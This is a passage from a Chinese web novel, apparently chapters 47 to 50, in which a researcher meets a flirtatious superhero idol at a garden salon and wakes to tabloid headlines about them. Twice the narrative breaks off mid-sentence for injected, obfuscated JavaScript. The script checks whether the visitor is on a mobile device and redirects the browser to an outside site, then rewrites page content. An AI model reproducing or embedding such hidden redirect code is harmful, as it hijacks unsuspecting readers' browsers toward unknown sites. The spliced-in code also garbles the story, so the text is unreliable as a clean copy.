光量子反应保持在均衡而稳定的水平,一丝不乱;人离得远,露天花园面积也够大,冲淡成分尚不明晰的迷乱香气。 但所谓顶尖美人,是抢在气氛组抵达、打光板落下前,便能凭一颦一笑,以声色夺人。遥距千里万里,在场千人万人……时与空皆化飞灰,眼中只能见他。无分性别,不分高下,平等、锋锐、一剑封喉的美。 镜头压扁空间感盛不住绝景,唯有充满偏见和短视的人眼深处,才能将之完整捕获。 半晌,顾昐推了推眼镜:“老天喂……” “我傻了,”他喃喃,“以前没线下见过,还以为是吹的。搞什么,黎沅本人这么好看的吗……” 他抓着眼镜梁取上取下,裸眼视力矫正视力来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13967999|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回切换,不知道的还以为他中了什么强迫症邪术:“他睫毛好长……睫毛也是金灿灿的。但我为什么能看得清?我视力什么时候这么好了???” 林昭平静指出:“人类视觉系统对同类面部特别敏感。比如那个插座孔,”他又指电风扇下面的插线板,“你仔细看,它是不是也很像一张囧脸?” “噢,真的诶。太好了,我差点以为我变GAY中GAY。”顾昐热烈望着电扇,认同了林昭,“但是你好冷静哦。我都走不动道说不出话了。不愧是我们林老师。” 他缓过劲,目中又增添了几分敬佩:“贫贱不能移,威武不能屈,美色不能淫。” 林昭:“……你背书背串了。是富贵,不是美色。” 顾昐:“……” 他家楼上的小学生都不会背错,顾昐啊顾昐,你可怎么办啊,“还有,我也没有特别冷静。” 冷静把话说完,林昭压着唇角,手指用力掐着衬衣前襟,按着胃部蹲到地上,轻声:“好……想……吐……” “林老师!”顾昐手忙脚乱,“我去叫医生!” 林昭摆摆手:“叫什么医生,叫杯、热水……” 顾昐跑开了。林昭咬着牙,慢慢收拢思绪。 黎沅,他认识。 单方面认识。消费主义明星,满城都是,想不记住都难。 第一次在奢侈品海报橱窗,第二次在直播窗口,第三次在电视台,人山人海。 而这一次,他立在薰衣草、鸢尾花、白铃兰的夏日花海中,蓝紫暮色垂落在他发尾,似瑰丽油彩中漂浮着的一个不真实的梦。 黎沅和岑罗是真的认识。两人在公馆门前互暄寒暖,末了,黎沅弯身,同她行了个亲昵的贴面礼。 美杜莎之吻,林昭想。 也许岑罗女士能从中体会到初恋的感觉,祝福她。 他就很不幸了,每次都只有胃痉挛和想吐。 怎么上一次是这样,这一次隔好远也还是这样? 他是不是对费洛蒙过敏? 可没听说有这样的过敏原啊。 人类要是对恋爱反应过敏,那人类就该灭绝了。 等等,这话怎么听着那么像车敏说的? 因了这一桩风波,两人进大厅有些迟了。岑罗嗔怪顾昐两句,当即紧紧挽着林昭,将他介绍给今晚来到沙龙的各位朋友。 她穿一条玫瑰金亮片鸡尾酒裙,亮片晃眼,亮片硌人,硌得林昭手臂发疼。介绍认识的朋友从米其林主厨到地铁站提琴家无奇不有,唯独和A国的“丰饶”计划和恒星福利院毫无关系。 胃痛好转,林昭反应过来,他又双叒被林君成坑了。 她自己不想来这种场合,就把锅扣在他头上。 有时候,他真怀疑自己是亲生的。 好在黎沅不在,香到浓极成为杀伤性武器的氛围感也不在了。开餐时间到,林昭在自己的位置坐下,嘱咐侍者换掉冰水上了杯热巧克力,着手吃了点儿。 直到灯光调暗,优伶饰妆登场,长餐桌边也没能坐满。 “请问,”一道陌生疏冷声线,在林昭脑后响起,“这有人吗?” 林昭在听舞台上琵琶三弦唱意大利歌剧蝴蝶夫人。两把乐器一问一答,一个柔婉一个深沉。 「美丽的蝴蝶啊,你还不曾说你爱我。」 「我只是不愿意说出口。或许她害怕会因爱而死。」 他头也不回:“没有。随便坐。” 48.就是死装这样子 岑罗性情天真浪漫,酒会安排也随性。长餐桌上点心琳琅,座次松散,人人自取所需。 黎沅松松挑一只靠角位置落座,无人觉得古怪。习惯使然,他坐时脊背也修长舒展如玉;片刻,他又似被评弹唱词吸引,翘起一腿,指尖轻点下颌,歪头半侧着脸,专注望定舞台。 姿态随意,却又像演练过千百遍一般优美无暇。他动,周遭就有目光追逐过来。击鼓传花,口耳相传,渐有半数人转眸向他,想多看,偏又不敢。 灯下,琵琶指尖一错。林昭:“?” 重复唱段,名家失手了。 他回头。几乎同一时刻,黎沅撤了目光,轻往后靠。虚掩披挂在他肩头的长西装顺势滑下,无声落在椅背上。 堆霜砌雪,眼前一白。林昭愣了愣,只听得抽气声四起,琵琶三弦错上加错,蝴蝶唱到头,名伶竟忘了换调。嘈切乱响两声,拨弦急转补救。这回唱昆曲桃花扇第一出,“暗红尘霎时雪亮,热春光一阵冰凉……” 长款西服里头是丝绸和网纱质料,珍珠色开衫手感腻滑,前襟深V一路垂落至腰间,举手投足间,衣料沙沙轻柔细响,牵动一副自黎沅颈间垂落、在胸骨尾端分歧的玫瑰金猫眼石腰链。 肌肤是不见天日的瓷白,肌肉线条却似大理石雕刻般纤劲。绿宝石若隐若现探入云纱深处,绕过挺拔腰身,消弭不见。 林昭有些不解。每一次见黎沅,他都没有好好在穿衣服。解洋说经纪公司对明星常有固定人设的要求,所以是连穿衣自由都没有? 但这里更反常的是他自己。 到现在都没起排斥反应,那就是说—— 林昭抬腕看表。果然,指向黎沅的位置,光量子强度无限趋近于零。 是反应系能力者在乏力期正常的低迷表现。 费洛蒙之吻,吻停了。 也所以,岑罗引荐宾客时黎沅人不在,是去…… 视线垂落,定在黎沅托着杯薄荷气泡水的左手上臂。 袖口凌乱微褶,两粒珍珠贝母扣撒开一粒。半透网纱质料漾着光,随他动作轻晃,隐约能见出小臂内侧,似被某种尖锐利器挑开、一段尖细而窄的深暗血痂。 灯光晦暗看不分明,但定睛细瞧,能见出那透白的网纱上,似也有几处沾到了浅淡血痕。 伤口很新鲜。不在场时间,他干什么去了? 林昭眉尖微蹙。 许是目光停留过久显得冒犯,黎沅轻撂下杯盏垂落手臂,不动声色将伤口那一面转向了自己身侧。 神情淡淡,对旁人追猎视线视若无睹,一派目下无人。 林昭收回注意力到舞台上。但他每每想专注一会儿,暗处就有五六七八个人影挨过来。 个个低声下气,问黎沅能否合影签名。然而来回一个呼吸,就被他冷拒。 一席无话。到酒会厅灯光大亮,林昭拾了装过巧克力的空杯子想离席,眼前蓦地一黑,被一双手蒙住视线。 俏皮女声哼着歌:“嗯哼哼,猜猜我是谁?” 林昭:“……” 腕表微振,提醒他这是位风险级以上的反应系能力者。 “丁汀娜女士,”黑暗中答案浮现,林昭温声,“您好。” “对啦!!——”丁汀娜雀跃松开他,见缝插针转向黎沅抱怨他,“真的是,你怎么躲在这儿?让我好找。” “Tina。”黎沅无奈喊她。似是要提醒她别太人来疯,又像拿她没办法。 丁汀娜嘁了声,不理他。她两手搭着林昭椅背探身,红山雀那样啁啾:“林,说说看。你怎样猜到是我?我想你不仅只是会飞。你能读心?或是掌控旁人心灵?真有趣,你真有趣。” “其实呢,我是你粉丝。”不给林昭回答时间,她飞快高抛出另一枚闪光弹,“第一次,你飞。第二次,你飞着救人。你很厉害,城市英雄访谈我都看过,我收藏你所有节目!林,我很高兴认识你!!!” “二位是朋友?”宾客中有消息灵通人士,兴冲冲要加入他们的谈话。稍有敏锐度的人都能察觉,老牌全球超英偶像vs新生代本土人气明星这一组合,戏剧张力拉满。只要同框一站,话题度已够霸领明日全部头版头条。 再挖掘二者背后蕴含着的诸多冲突,轻易能炮制出好几本爆款专刊、养活几十上百媒体公众号。 “不是喔。”丁汀娜笑吟吟火上浇油,“我单方面是林先生的粉丝,最最最忠诚那一种!!!” 一语掷出,惊起哇声一片。林昭不由好笑。专门是冲着他来的,做到这程度……或狐疑或艳羡的目光钉准了他,其中不乏岑罗为他引见过的名嘴名记。 若不能给出对等回应,场面恐怕难看。也不好示弱,否则以双方立场之微妙,不知事后流传出去,媒体又要如何编排。他起身压住视线,端起手边没动过一口的酒杯和丁汀娜轻轻一碰,轻笑:“很巧。其实,我也是L.N.A英雄组合的粉丝。喜欢你们很久了。” “呜哇,那不就互为粉丝了嘛!”丁汀娜唯恐天下不乱似的给出超夸张尖叫,“真的喔?你不会说好话在哄我吧???” 四舍五入吧,林昭想。 谭之路人好感丁汀娜,解洋一生挚爱黎沅。两个师弟中和一下再合并,得出他是理智团粉,并不能算太过分。 他有备而来,西装内襟边袋里,端正放好了解洋那张限定版小卡。 “限定版周边。”美神像持握在手心,玫瑰金祖母绿串珠绕过白皙指骨一路垂到腕间,林昭避重就轻,“可不便宜。还用上抢拍器,才有幸能买得到。” 人群发出一阵小小的善意笑声。黎沅眉目微动,丁汀娜收敛神色,作罢了。 “来拍张照吧!”有人感慨,“这正是我们需要的文化交流!” “没错没错。”不少人随声附和,“地域不同,文化不同,但正义的心灵是共通的。噢!多么令人感动啊!” 林昭抬了抬眉,想,这多么令人尴尬啊。 岑罗都挤进人群来凑热闹。她看看林昭,又望向黎沅,眼神闪亮:“你们是要好的朋友?那太好了!” “本来还想介绍你们认识。”她热情嘱咐身边的知名摄影师,“这相会非常有意义,不是吗?” ——咔嚓!咔嚓嚓嚓! 巨大的吊扇不知疲倦呼呼刮着。林昭曲着一条腿,坐在鸢尾花深处的一方钢架台阶上,托着脸发呆。 逃出闪光灯和摄像机的包围圈费了他不少事,因此他不打算轻易回去。随便找个地方打发时间到散场再去和主人道别,也算是完成任务,有始有终了。 他漫无目的在想,明明已发现了那么多异能,为什么却偏偏没有能控制时间的。 要是有时间异能,就先倒流回去,把邀请函焊死在林君成桌子上,请她别乱甩锅,自己的麻烦自己解决。 草叶簌簌,露水踏破月光。 一道冷色人影拥在鸢尾海中。片刻,他轻扬起声:“抱歉。我不知道你在这里。” 林昭从膝盖间抬起头,凝眸眺来人一会儿,缓缓道:“为什么那样做?” 黎沅歪过头,眉尾轻扬,一个微讶的表情。 更像是在柔和地邀请他往下说。 “刚才我想起来,”林昭声音平板,没什么情绪地道,“你转发过一条我的影片。” “到丁汀娜这里,她又说漏嘴一次。” “二位从出道起就是固定拍档,数次出生入死,关系亲密到可以将后背交给对方。如果她看过那些娱乐节目,走近了一眼能认出我,你没理由什么都不知道。为什么只让她出面,你却装不认识?” 黎沅想了想,沉静道:“我和汀娜,我们只是朋友,不能算亲密关系。” 林昭:“?”他没问这个。 黎沅微笑:“你呢?真的喜欢L.N.A很久?” 林昭:“……” “我可没见过坐在偶像身边,还能把偶像当空气看待的粉丝。”黎沅半开玩笑,将这个话题轻轻带过,“公平些,我们彼此彼此。” 社交场盛行揣着明白装和气,林昭不喜这套。他直接问 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他慢慢地,若情人呢喃般轻声细语:“‘——英雄总来得太晚。反派炸掉半个纽约市,他们才刚骑着机车赶到事故现场’。” 林昭愣了愣,想起这是他在接受电视台采访时随口说的话。流传到网路,还引发了一场粉圈暴动。 突然提这个,意思是……他戳到了黎沅的痛处,让他很在意? 所以生气了?记仇?想让自己也体会被绑至镁光灯下,身不由己的感受? 超纲了。未曾想过的理由。林昭哑然。 “——不想表演什么超能力英雄。跳梁小丑。无意义的作秀。想快点结束回家。”近了看,黎沅的笑意很冷,“想法都写在脸上,你可真好懂啊。” 林昭没什么反应。他注视着黎沅,突然抽了抽鼻子。 不知何时起,那股攻击性极强、浓郁到抽吊起整个胃部的香气又弥漫上来。 心烦意乱的感觉再度自胃部深处涌动上来。林昭抬手一下按住口鼻,咬住牙关,恨恨道:“你的……” 浓稠化不开的巧克力浆体作为基底,酒精成分尖锐撞击黏膜,叠加少许蒲公英空气分子料理,注入数十种不明来路的花香,喷洒上被赞誉为爱情的主调味料。 在空洞的胃袋里,碾磨,搅动,化作一团形状不定张牙舞爪的锈铁污泥。 “……”黎沅眸光微闪,语调忽转,蹲身下去扶住他,“噢,对不起。我忘了你不能……抱歉,我没能控制好情绪。” 林昭推他:“快走……” 说这些没用的!!!快走啊啊啊要出事了!!! 然而,和绮丽的外表印象不同,黎沅的力气大得出奇。林昭被他钳得动弹不得,终于还是,吐了。 林昭:“。” 黎沅:“……” 所以说为什么没有时间异能……林昭绝望闭目,抽开纸巾,擦擦擦擦:“对不起。我会赔你的。” 下一秒,一条泛着淡淡香气的丝质手帕按上他唇角。 “这没有什么。”黎沅语气柔缓,“Tina和Amily每次吞阻断剂,都跟我抱怨很久说好恶心。这都是正常反应,你不需要感到抱歉。它只说明,你天生就具备很好的对费洛蒙抵抗性。” 他小心翼翼。蛇腹一般冰白的手指克制着力度,轻柔擦拭过林昭脸颊肌肤。绿宝石的眼眸垂落,尽力遮掩住某种不可为外人道的热意。 微妙浮动的香气飘逝了。林昭却有一瞬的恍神。 人因缺失了稍许人性,得以接近馆藏陈列艺术品,美到异常,美到非人……即使如此,在这短短的一刹那,他不能免俗,仍是被那有悖常识的美震慑了。 收起手帕,黎沅脱了外套随手卷起,直起身:“但她们的反应没有像你这样剧烈。我想这是因为你的胃本就不太好……” 话没说完。 他动手,直接将林昭打横抱起。 “……又受了凉的缘故。”他轻声说。 49.才能维持得了 林昭很有些窒息。 网传黎沅十六国混血,都说他条件优越,单论身高就有一米九。 但海拔过高容易缺氧,地面也变得格外遥远。钢架楼梯悬空,再下头是空荡荡透着风的长草地。林昭往地瞥了眼,很快撤回目光。 对流层和地面带遥不可及的距离,可能就是文化隔阂带来的,无法跨越的鸿沟。 “谢谢你。”他没有感情地发起一个人机对话,“但请别再这样做了。既无必要,也缺乏效率。我想胃痛毕竟不是骨折。” 黎沅又笑。他眉尖眼角都弯起一段旖旎弧度,动作却稳,托抱着一个人山猫似地踱至地面,没惊动半点儿声响。 “我说了过度紧张对你的状况没好处,”他垂落那副卷翘金丝长睫,眸中习以为常流过浓度超标的暧昧情愫,“放松点,宝贝儿。你的身体有点冷。处在暖和的环境中,你会更舒服些。” 暖和的环境。 通常来说,那并不会拿来代指人类区区一点七平方米的体表面积和微不足道三十七度的体温。 以体态来看,顾昐的换热面积都比黎沅更宽广。 香气收敛,胃痉挛渐行好转。无明疼痛转移到头部,因了这无时不刻不在挥洒爱与美的保护者,林昭深觉困扰:“你确实不打算放我下来?” “唔。”黎沅思考这个问题,但并不很认真,“运送伤员出埠也算是英雄日常工作的一部分,在我判断,不要让腹肌受力,减少对腹部脏器的压迫,能更好缓解你的不适。若是害怕引发误会、猜忌或不必要的嫉妒——偶尔确有那种情况发生——其实你可以用更激烈的行动提出抗议。” “听起来很动人。”林昭客观评述,“但我打不过你。”所以,不过都是些漂亮废话。 就直播中摩天塔高空械斗和单臂抱起一个成年男性的力量等级来看,林昭很确定对方和自己不同,拥有的是真正接近幻想超英级别的怪物级战力。 力量不对等的情状下,挣扎无益,他选择躺平歇会儿。 黎沅莞尔。他未对林昭的指控提出抗辩,算是默认自己的罪行。 蝴蝶胛骨下方,修长优美的小臂肌腱绷紧着。热度微温,渗过数层织料,严丝合缝紧贴住清瘦的脊背中侧。 风平香息,林昭逐渐回想起来,在那个位置,埋伏着一道好似尖锐利器剜出的创口。 解洋:「[文件][图表][报告]还能是什么,黎沅就是反应系啊!不可能是别的了!」 解洋:「如果一个人的能力看起来像反应系,用起来也像反应系,数据模型表现也像反应系,那这项能力一定是反应系。」 林昭:「那他是不是真的是反应系」 林昭:「就不重要了吗?」 林昭:「你发誓。赌上你全部的周边和尊严。」 解洋:「[大哭]溜了.jpg」 茶余饭后,剖析黎沅的兴趣课题在之前某天无疾而终。林昭突然察觉,眼前正是个合适机会。 他下指令给智能中枢,命令它将改装后的智能表从到处乱指野生宝可梦的普通监测模式,一键切换到锚定单个目标的光量子场精测模式。 黎沅挑眉:“?” 他冷酷无情的公主殿下,突然在搞什么? “诶你……怎么不动了。”林昭就这么满不当回事地,半靠不靠挂在黎沅那投保过亿万美元的臂怀里,心无滞碍,随手抽调出数块大小不一的光屏,托着腮琢磨起来,“……不动,不动也行吧。” 安静状态下的人体能量流动数据,通常更接近标准测值。 ……啊,是搞科研。 可真能干得出来。 黎沅嘴角微不可见地抽搐。尽管表面完好无损,但他过分多余的自尊心今晚碎过又碎,至此,彻底化成日出前海上的浮沫。 林昭无暇分神,他专心致志,在观察他周身光量子绘出的波动场图形。 稀薄到近似于无的少许粒子,被不可见的高频电波捕捉。光屏上依格栅坐标连点成线,修正坏点,拟出空白数据,翻转出一条微弱却平稳的双尾光带。 似海天使的腹足从尾部剖开成不平衡的两半,也像蝴蝶拖着一长一短残缺尾翼,夜色中翩跹浮游。 至于中间被生生断开的尖锐夹角,三维空间坐标,正好落在林昭后脊,黎沅小臂伤口推挤的那一处位置。 林昭疑惑“哎”了一声,凝神道:“这形状,你以前见过吗?” 黎沅不悦蹙眉:“你和谁说话?” “智能中枢。”林昭随口回他,“来找找原因吧。我觉得这个形状很不自然,像是被什么东西从中拦断了……” 黎沅:“……” 他冷笑:“我在这里,你竟然和智能中枢说话??” “它帮我工作。”林昭理所当然道,“你……” 呃。超级英雄拯救伤员,似乎也属于工作一环? 气氛凝滞数秒。黎沅突然松手,轻而慢地将人放下在鸢尾花间。 意外之喜。拟到一半的新模型给突兀的动态变化破坏了,但林昭觉得,的确还是靠自己的腿站着自在得多。 他道谢,又退开两步,给对方让道。 黎沅并不领情。他眸色微冷,自高出半头的位置睨他。 捻着瑰色舌尖,他一个字一个字冷冷淡淡往外迸,图个让林昭听得一清二楚: “你这人。” “可真——没、意、思。” “……无、聊。” 调情如社交舞,也讲究个将死逼和,棋逢对手。自尊毁伤先不去提它,以黎沅对自身魅力的自信,他从来没那个兴趣将木头强拧成麻花。 就算是云杉上最动听一段琴材也不行。 难道是,他看走眼,识错人了?…… 生动芬芳色彩悉数褪淡,黎沅怅然,只觉眼前什么都索然无味。 高昂着优美头颅,他投落无比骄矜的一眼,拔腿就走。 林昭:“?” 搞什么这是。大牌明星,脾气也够大的,台风脸说翻就翻,没有预兆;说话也前言不搭后语,逻辑很有硬伤。 但还没问他衍华基金会的事呢。林昭追上两步,喊那道高挑背影:“黎先生,可否留个联系方式?或者,我联系你的经纪人。是我唐突在前,无论如何,都该要向你说声谢谢——” 啊啊。借口司空见惯,搭讪陈词滥觞。听过无数次的谢谢对不起我爱你没了你我活不成,没劲,无聊透顶。 黎沅脚步一顿,冷声:“听不懂话?” “不用你还。” 林昭:“。”啊,走了。 找借口赔钱被拒,建联失败了。 但上一刻分明还好好的。突兀翻脸,黎沅到底为什么生气? 林昭往回,脑内启用穷举排除法,依次检视各个存疑选项。 当面被怼,黎沅没有气。不慎吐他一身,他也不介怀。气到走人,他也没有要求自己赔手帕和那一看就贵死人的高定款外套。 排除掉错误答案,唯一可能浮出水面。 黎沅不爽,是从自己未经允许,也未告知一声,解析他异能光谱那一刻开始。 想通这一点,林昭加快步伐赶回公馆宴会厅。 异能属于个人隐私数据范畴,陌生人随便观测,已算不妥当,很失礼。 而对于从事超英偶像这一行当的异能者来说,他们每时每刻都站在公开的舞台上,相当于高亮在犯罪者眼前的一个红心靶。 作为明星,无法回避能力表现被公开讨论、分享。但作为惩戒、威慑犯罪分子的正义执行者,他们通常都会保留一些秘密手段,用于终极时刻或是危机关头自保。 能力的真面目被人获取,代表着执行任务时风险大幅增加,甚至可能危及性命。 有必要和黎沅做个明确解释。林昭整理好新到手的数据,预备一会儿找到人,就将这些记录连同他突破边界、过分冒进的好奇心,当着人眼前,全数一并销毁。 进了门,他被岑罗一把拉住。女主人怨他身体不适也不告知,太认生;又唤了家庭医生过来,带他到休息室。 好意不便推却,林昭待在沙发里,吞掉药片,慢慢喝空一杯温水。 岑罗还能从哪知道他胃不舒服呢。 他想起705集体吃火锅看高空直播秀那天,谭之叽叽呱呱瞧不上偶像明星各种阴阳,解洋据理力争,坚持说黎沅很善良,待粉丝非常好。 现在看来,好像还真是这样。 然而到酒会散场,黎沅任由人群团团簇着L.N.A的两人,没再留出任何破绽。 林昭不急,他等道别时刻。和进场时一样,热情的女主人要将所有宾客送到繁花满铺的门庭,和他们依依惜别再事离去。 他大大方方下楼梯,指尖上捧出事前准备好带在身边,却未能用得上的L.N.A两位英雄的小卡,越过人群,姿态自然:“请问能否麻烦二位,给我这个粉丝,签个名?” “感谢两位的时间。”他温声,不紧不慢等回应。 “哇噢!”玫瑰金与祖母绿的手作串珠缠绕过白皙纤长指骨,蜿蜒垂至腕。流光溢彩的透卡上,随光线折转,现出一副凛冽侧颜。很快有人识出这件无用之物的真正价值,起哄地惊呼起来:“这是L.N.A初次行动的限定纪念款啊!有价无市的名品!!!” “买不到, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14007132|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根本买不到。我很愿意拿一整个车库来换,”有人跟风打趣,“但你们也知道,很多事情,不是有钱就能办得到。” “黎沅,Tina!”先前热情招徕他们合照的名记来了兴致,他积极招呼L.N.A的两位,“给你们忠诚的粉丝一些回应吧!我看他啊,和别人不一样。都忍着一直没打扰你们,等你俩半晚上咯!!!” 岑罗两边端详,掩口惊讶:“——怎么?小昭你都没有拿到签名吗?……Amily,这是怎么回事?”她挥手,招呼组合身旁的经纪人过来身边。 丁汀娜先回头。她撩开甜蜜卷发,双手托花似的捧住脸,张大圆眼睛,做了个无声惊呼的可爱表情。 黎沅唇边似笑非笑。他高高地侧过脸,仍是那副不主动不拒绝不负责,端看他要如何演出的淡薄神情。 微妙气氛流淌,更兼有几分剑拔弩张。人群很快意识到,这是数小时前热播英雄对决喜剧的第二部公开上映。 “早前不好意思贸然提起,因为其实不只我一个,是L.N.A的忠诚粉丝。”林昭笑了笑,口齿清晰道,“我们研究所里两位后辈师弟,钟爱超级英雄。二位惩凶除恶时精彩无畏的表现,一直以来都深深鼓舞、激励着他们。” “今晚我有幸站在这里,和二位面对面地谈话;他们却只能在研究所办公室里等着电视机上出新闻回放。心里觉得过意不去,却又怕给二位添麻烦,就这样犹豫直到现在为止。”他半开玩笑,又很认真,“……但还是先说抱歉。希望我的请求,不至于给二位增添太多困扰。” 丁汀娜眨巴眨巴黑葡萄似的大眼睛,温声软语:“麻烦了麻烦了……这好像很难拒绝呀。回应粉丝的愿望,一次三位。三泵浓缩糖浆,甜蜜过头的烦恼,这怎样都很难说是麻烦吧?” 黎沅轻叹口气。 “那你呢。”他抱起双臂,居高临下转过目光,“你从什么时候起喜欢上L.N.A?很久吗?” “不太久。”林昭坦然回视他,“今天。今晚。不久前。” 他伸手:“是有些迟了。但,我很高兴能认识你们。” “林!”丁汀娜突然扑身上来。她的蛮力比黎沅还大,一冲之下,将林昭撞得往后趔趄半步,险些站不稳。 林昭哭笑不得:“呃……” 真是个风口浪尖上不住颠簸的夜晚。狂暴芭比娴熟展臂一揽,挽起林昭腰身,避免了人毁船翻。而后,她抬脸,冲林昭飞了个Wink,在他右脸左颊轻快chuchu两下。 “你人很好,没有说假话,你真诚对待我们。”贴面礼毕,她眼睛亮晶晶的,“我知道,我能感觉到。” 掌声如云如浪,夜色中层层拍岸,模糊掉白日里划得过分鲜明的分别和界限。 “一起玩吧。”她说,“我们喜欢你。” 岑罗抹了抹眼睛:“多好啊。出类拔萃的天赋——可爱、美丽、杰出的三个孩子。”她把天赋放在了最前面。 林昭注视着丁汀娜黑而亮的眼睛,点头。 “下一次吧。”黎沅的声音柔和,“今天,太迟了。” 他俯身。金箔似的长发翩然垂落,几缕飘散的发丝飞洒,抚过林昭冰凉面颊。本想同他一握的手被牵着腕骨,引至柔滑的珍珠色衣料上,轻搭在肩头。 林昭微抬下颌,僵硬往后挪了挪。黎沅轻声:“先右后左。” 他依言照做,完成一个法式标准礼仪。 像被领着起舞,呼吸相错却不接触,只是在舞台中央摆出足够好看的姿态。人群的欢乐来到新高点,酒精蒸着花香,众人纷纷拥抱吻别,最后连岑罗和顾昐都挤过来一起贴贴。 ……每个人都贴,左摆右摆,头都要甩掉了啊! 好不容易走出公馆大门,钻进接驳车后座,林昭先扶了扶自己的脖子。 应该……情况还不算太坏? 虽说到最后也没把误会说开,但看来对方的态度友善,后续应该还有希望继续接触。 “——糟糕透顶。” 背道而驰的另一辆加长林肯车上,黎沅坐姿端正,一脸化不开的沉郁。 丁汀娜上车后就一直在笑。她忍太久,这会儿没形没象地往前抱着驾驶座,缠着经纪人说个不停:“哈哈哈,哈哈哈哈哈。Ami,你根本都想不到……就为了一个空气Kiss,我们Leon处心积虑,和多少讨厌的家伙行了贴面礼啊。” “为一个人亲遍所有人的感觉怎么样?”她促狭道,“是不是很有那种对抗全世界的反英雄味道了?” 黎沅闭了闭眼:“……” “你别说了。” 他捂唇,淡声道:“现在,轮到我有点想吐了。” 50.公开公平公正 翌日清晨。 白日里的暑气还未蒸腾而上,水泥廊下仍残存着一丝昨夜的凉意。 “吱呀”一声,古董防盗门自内推开。 同一时刻,薄薄楼板间穿透出数只声调不同的闹钟同声合唱。邻室门里,智能腕表数字闪烁,跳至标准的六点正。 门与走廊的狭缝间,探出一只指节分明,缺失薄脂或软组织包覆,白桦枝似的手。 手指灵活,拧动一柄小巧的金属钥匙。取出尚存余温的牛奶,挟走柔软堆叠着的城市早报。当啷,当啷。金属开开合合,以同一个频率同一个角度,重复着与昨日并无二致的动作,重复晴朗而又普通的一个早晨。 突然,一段空白休止符打入,截停至今为止已演练过无数次、从未出过差错的连续命令行。 哗啦啦啦——! 铁丝栏上,几只鸟雀拍翅飞起。趁夜最新出厂、幽幽散发着清馨油墨香的纸张不意脱手,飘飘然飞洒一地。 刺嚓。裁纸刀代替银制餐刀抽出了鞘。 刀尖划过粗制滥造纸张,割开哗众取宠的头版头条。沿着曲折弧线,木质纤维断开破裂,吟哦出呕哑的悲鸣。 向来精确如钟表的贺医生,今日踏出楼道的时间,比往常迟了两分。 今晨没有碳水香氛,也没有中场稍息。刀尖刮擦纸张的微弱声响不足以惊动林昭;昨晚耗费心神的社交活动、以及夜色中微妙浮动的复合香调,让他的睡眠记录比平日更为平稳。 早间八点半。 一道电话铃响起。林昭迷迷糊糊翻身,掀起枕头将手机压住。 数分钟后,智能腕表剧烈震动。接着是闹钟、定时器、电水壶、收音机、电视机、电脑主机箱甚至烟雾报警器……终于,整间公寓里所有能出声说话的电器,都喧嚣着大喊起来。 ——紧急联络状态?出什么事了? 林昭睁眼,先迎来了飞碟震怒的一巴掌。 嗷,好痛的叫早服务。 “师哥,师哥!!!你终于醒了!!!”电话另一头,车敏声嘶力竭在喊,“太好了,那你就别醒了!啊不是,我是说,今天你就待在家里,别来所里了!” 她喘得厉害,听着好像是一个劲儿在跑。林昭一下坐起,急问道:“谁在追你?” “不知道!!!”车敏尖声,“可能是记者狗仔粉丝还有星探!!都百米飞人自带便当泡面帐篷在灌木丛和窖井盖底下开野餐Party埋伏我们,这谁还能分得清啊!!!” 电话里远端传来谭之和解洋鬼鬼祟祟的说话声:“在这弄俩……路障吧。” “高压电网。必须得是高压电网。” “一个都别想上来。” “空中超巨大型电蚊拍。谁动烧谁。但记得无人机抓活的。” 林昭:“。”不然怎么说是一家人呢。 “我引开他们!”车敏对那俩人喊话,又转回再次叮嘱林昭,“千万别出门!!!师哥,你得记住,今天开始你的身份不同了。今天的你,已经是霸道大明星——” “……金屋藏娇强取豪夺的白月光小情人!”她一气呵成,口齿流利地大喊。 电话切线。林昭:“……?” 鱼珠巷的早晨仍是宁静,簌簌叶响混着邻里间的耳语混成最安详的白噪音,好似外界烦扰纷纷,都干扰不到它寒暑轮转。 飞碟忽然一动。毛发张紧,耳根长尾陡然立起,轻飘飘空降至门口,黑猫折身一跃,叼回来一张歪斜在地的剪报纸片。 顾公馆门前,围观视角摄下的双人照。 借位角度刁钻无比,远看像刚亲上,近看像刚亲完。甚至连黎沅那几缕被风惹动,漫无目的糊了林昭一脸的头发丝,一眼扫过去都很有几分藕断丝连、欲吻还休的风情。 千军万马中挑出这张图来做头版头条的媒体人,存的不知是何种心思。 可就这么一锅泼天狗血,却因黎沅头部果决划开的两刀十字破口,一秒转为恐怖片。 林昭垂眸定定,指尖不觉用力,将质地不堪的木浆纸掐进去一凹皱痕。 城市徐徐初醒。江岸云端某七星级酒店,顶层总统套房。 黎沅冲沙袋击出最后一拳,撤身卸了手套,扬臂抽走金发上麻花状绞缠编织的钴蓝绸带,步出健身房冲了个澡。 超英偶像们在身体素质和精神韧度方面,可以说确实地都已达到顶尖人类水平。晚间超量的社交活动或是紧急擒凶演出,从来都不影响黎沅那由百万营养师和健身教练制定而成的优越作息。 “就好像他们永远都不会累的。”这是黎沅和丁汀娜现属的超英偶像运营公司——衍绎映画公司某位高管,在酒桌上为这两位超人类发出的赞叹。而在好评和艳羡的对立面,黏附着的无非是些“怪物”、“已经不能算是人了吧”、“文明观猴,街头马戏”之类福寿螺似的恶心话。 因为打不过怕被揍,恶评者一般都只敢在背后偷偷诋毁;但即便一人只给一拳都揍不过来,所以L.N.A的二位大发慈悲,什么都当没听到不计较了。 